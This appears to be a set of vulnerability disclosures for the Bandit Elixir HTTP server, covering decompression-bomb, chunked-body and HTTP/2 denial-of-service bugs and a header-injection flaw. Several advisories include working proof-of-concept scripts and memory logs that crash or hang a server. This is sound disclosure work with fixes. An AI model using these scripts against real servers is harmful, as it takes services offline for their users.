[11:04:30.815] [mem] BEAM total = 49 MiB
[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).
[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).
[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).
[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).
[11:04:31.065] [mem] BEAM total = 185 MiB
[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).
[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).
[11:04:31.316] [mem] BEAM total = 322 MiB
[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).
[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).
[11:04:31.567] [mem] BEAM total = 463 MiB
[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).
[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).
[11:04:31.818] [mem] BEAM total = 602 MiB
[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).
[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).
[11:04:32.069] [mem] BEAM total = 743 MiB
[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).
[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).
[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).
[11:04:32.320] [mem] BEAM total = 887 MiB
[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).
[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).
[11:04:32.571] [mem] BEAM total = 1034 MiB
[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).
[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).
[11:04:32.822] [mem] BEAM total = 1179 MiB
[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).
[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).
[11:04:33.073] [mem] BEAM total = 1323 MiB
[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).
[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).
[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).
[11:04:33.324] [mem] BEAM total = 1466 MiB
[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).
[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).
[11:04:33.575] [mem] BEAM total = 1608 MiB
[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB accumulated).
[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).
[11:04:33.826] [mem] BEAM total = 1758 MiB
[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).
[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).
[11:04:34.077] [mem] BEAM total = 1901 MiB
[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).
[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).
[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).
[11:04:34.328] [mem] BEAM total = 2048 MiB
[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).
[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).
[11:04:34.579] [mem] BEAM total = 2191 MiB
[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).
[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).
[11:04:34.830] [mem] BEAM total = 2342 MiB
[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).
[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).
[11:04:35.081] [mem] BEAM total = 2480 MiB
[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).
[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).
[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).
[11:04:35.332] [mem] BEAM total = 2620 MiB
[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).
[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).
[11:04:35.583] [mem] BEAM total = 2760 MiB
[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).
[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).
[11:04:35.834] [mem] BEAM total = 2903 MiB
[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).
[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).
[11:04:36.085] [mem] BEAM total = 3045 MiB
[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).
[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).
[11:04:36.336] [mem] BEAM total = 3184 MiB
[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).
[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).
[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).
[11:04:36.587] [mem] BEAM total = 3332 MiB
[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).
[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).
[11:04:36.838] [mem] BEAM total = 3463 MiB
[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).
[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).
[11:04:37.089] [mem] BEAM total = 3610 MiB
[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).
[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).
[11:04:37.340] [mem] BEAM total = 3735 MiB
[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).
[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).
[11:04:37.591] [mem] BEAM total = 3878 MiB
[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).
[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).
[11:04:37.842] [mem] BEAM total = 4012 MiB
[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).
[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).
[11:04:38.093] [mem] BEAM total = 4142 MiB
[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).
[11:04:38.105] Finished sending. Never sent fin=1 — server should still be holding the iolist.
[11:04:38.344] [mem] BEAM total = 4149 MiB
[11:04:38.596] [mem] BEAM total = 4149 MiB
[11:04:38.847] [mem] BEAM total = 4149 MiB
[11:04:39.098] [mem] BEAM total = 4149 MiB
[11:04:39.349] [mem] BEAM total = 4149 MiB
[11:04:39.600] [mem] BEAM total = 4149 MiB
[11:04:39.851] [mem] BEAM total = 4149 MiB
[11:04:40.102] [mem] BEAM total = 4149 MiB
[11:04:40.106] Done.

Summary

When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.

Details

In lib/bandit/websocket/permessage_deflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodata_to_binary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.

websocket_options.max_frame_size only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.

The bug is gated by two server-side flags being true at the same time:

• Bandit's global websocket_options.compress (defaults to true per bandit.ex:198-201).
• The per-upgrade connection_opts.compress passed to WebSockAdapter.upgrade/4 (defaults to false per websock_adapter.ex:42-43; Phoenix's default is also false per phoenix/lib/phoenix/transports/websocket.ex:33).

Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).

Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.

PoC

A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir ws_permessage_deflate_bomb.exs.

Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):

• Frame on the wire: ~6 MiB.
• BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by IO.iodata_to_binary/1), then settled at ~6 GiB until the connection process was GC'd.
• Tuning @target_decompressed_bytes upward, or opening N parallel connections, OOM-kills the BEAM outright.

A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented max_frame_size default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.

Impact

Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.

Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.

# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
    |> Plug.Conn.halt()
  end
end

defmodule Bomb do
  @port 4321
  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
  @target_decompressed_bytes 6 * 1024 * 1024 * 1024
  @plaintext_chunk_bytes 10 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    deflate_payload = build_deflate_bomb()
    frame = compressed_text_frame(deflate_payload)

    sampler_pid = spawn_link(&sample_memory_loop/0)

    log("Sending #{byte_size(frame)}-byte compressed frame…")
    :ok = :gen_tcp.send(sock, frame)
    handle_recv(sock)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  end

  # Open a TCP connection and complete the WebSocket handshake with
  # permessage-deflate. Raises if the server doesn't negotiate it.
  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      Sec-WebSocket-Extensions: permessage-deflate\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Stream-deflate @target_decompressed_bytes worth of zeros so the client
  # never holds the full plaintext at once. RFC 7692 uses raw deflate
  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
  # we strip per the spec.
  defp build_deflate_bomb do
    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
    log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")

    zstream = :zlib.open()
    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
    final_flush = :zlib.deflate(zstream, <<>>, :sync)
    :zlib.close(zstream)

    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
    trailer_size = byte_size(deflated) - 4
    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated

    log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
    payload
  end

  # Wrap payload in a single masked WebSocket text frame with RSV1 set
  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
  defp compressed_text_frame(payload) do
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the
  # observation window. That's enough to watch the BEAM heap spike.
  defp handle_recv(sock) do
    case :gen_tcp.recv(sock, 0, 5_000) do
      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
        log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")

      {:ok, bytes} ->
        log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")

      {:error, :timeout} ->
        log("recv timed out (server held the inflated payload silently).")

      {:error, reason} ->
        log("Connection closed: #{inspect(reason)}")
    end
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(250)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Bomb.run()

Logs

10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.

The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217

Details

The bug is in lib/bandit/http1/socket.ex in do_read_chunked_data!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.

When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<_::binary-size(0), ?\r, ?\n, _::binary>> pattern also does not match because rest starts with X. Execution falls into the _ -> arm, which computes to_read = 0 - byte_size(rest) (a negative number) and calls read_available!/2 on the socket. On timeout, read_available!/2 returns <<>>, leaving the buffer unchanged. do_read_chunked_data!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.

The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and read_available! is repeatedly called with no progress.

The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".

Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decode_packet(:httph_bin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when read_available!/2 returns <<>>, raise request_error!(:request_timeout) rather than re-entering with an unchanged buffer.

PoC

A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:

• one 5-byte chunk "hello"
• the last-chunk marker 0\r\n
• one trailer field X-Trailer: 1\r\n
• the terminating \r\n

The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gen_tcp.recv/3 times out after 10 seconds because the worker is stuck spinning in do_read_chunked_data!/5.

Steps to reproduce:

1. elixir script.exs
2. Observe the TIMEOUT — worker is pinned in do_read_chunked_data!/5 log line.
3. Each additional concurrent client sending the same request consumes one more worker process.

Impact

Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.

Script and Logs

# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.
#
# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates
# only when the last-chunk line `0\r\n` is followed *immediately* by the
# empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between
# them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the
# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`
# (negative), calls read_available!/2, gets <<>> on timeout, and recurses
# with the same buffer forever — pinning the worker for the connection's
# lifetime. The line 245 comment ("We should be reading (and ignoring)
# trailers here") acknowledges the gap.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST
# whose body ends with a single trailer field, and waits for a response.
# A correct server replies in milliseconds; the buggy decoder never does.
#
# Run: elixir script.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule EchoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    {:ok, body, conn} = Plug.Conn.read_body(conn)
    Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes")
  end
end

defmodule TrailerHang do
  @port 4321
  @recv_timeout_ms 10_000

  def run do
    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    request = build_chunked_request_with_trailer()
    log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.")
    :ok = :gen_tcp.send(sock, request)

    log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…")
    started_at = System.monotonic_time(:millisecond)

    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do
      {:ok, response} ->
        elapsed = System.monotonic_time(:millisecond) - started_at
        log("Got response after #{elapsed}ms — server handles trailers correctly:")
        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))

      {:error, :timeout} ->
        log("TIMEOUT — worker is pinned in do_read_chunked_data!/5.")
        log("Each concurrent client sending this shape consumes one Bandit worker.")

      {:error, reason} ->
        log("Connection error: #{inspect(reason)}")
    end

    :gen_tcp.close(sock)
  end

  # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer
  # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies
  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing
  # responses or requests.
  defp build_chunked_request_with_trailer do
    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Transfer-Encoding: chunked\r\n" <>
      "Trailer: X-Trailer\r\n" <>
      "Content-Type: application/octet-stream\r\n" <>
      "\r\n" <>
      "5\r\nhello\r\n" <>
      "0\r\n" <>
      "X-Trailer: 1\r\n" <>
      "\r\n"
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

TrailerHang.run()

12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`.
[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…
[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.
[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.

Summary

Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.

Details

In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.

The content-length sibling at :210 does the right thing:

max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))

Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.

Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.

PoC

Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.

Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])

defmodule DemoApp do
  use Plug.Builder

  # The `length` option here is ignored by the attack
  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
  plug :respond

  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end

{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)

# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"

{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])

:ok =
  :gen_tcp.send(sock, """
  POST / HTTP/1.1\r
  Host: 127.0.0.1\r
  Transfer-Encoding: chunked\r
  Content-Type: application/json\r
  Connection: close\r
  \r
  """)

Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")

IO.inspect(:gen_tcp.recv(sock, 0, 120_000))

Impact

Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.

Summary

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself.
2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB).
3. Polls for GOAWAY(FRAME_SIZE_ERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated max_frame_size should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > max_frame_size as soon as the 9 header bytes arrive, before the body-bearing clauses.

# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received —
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header — the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

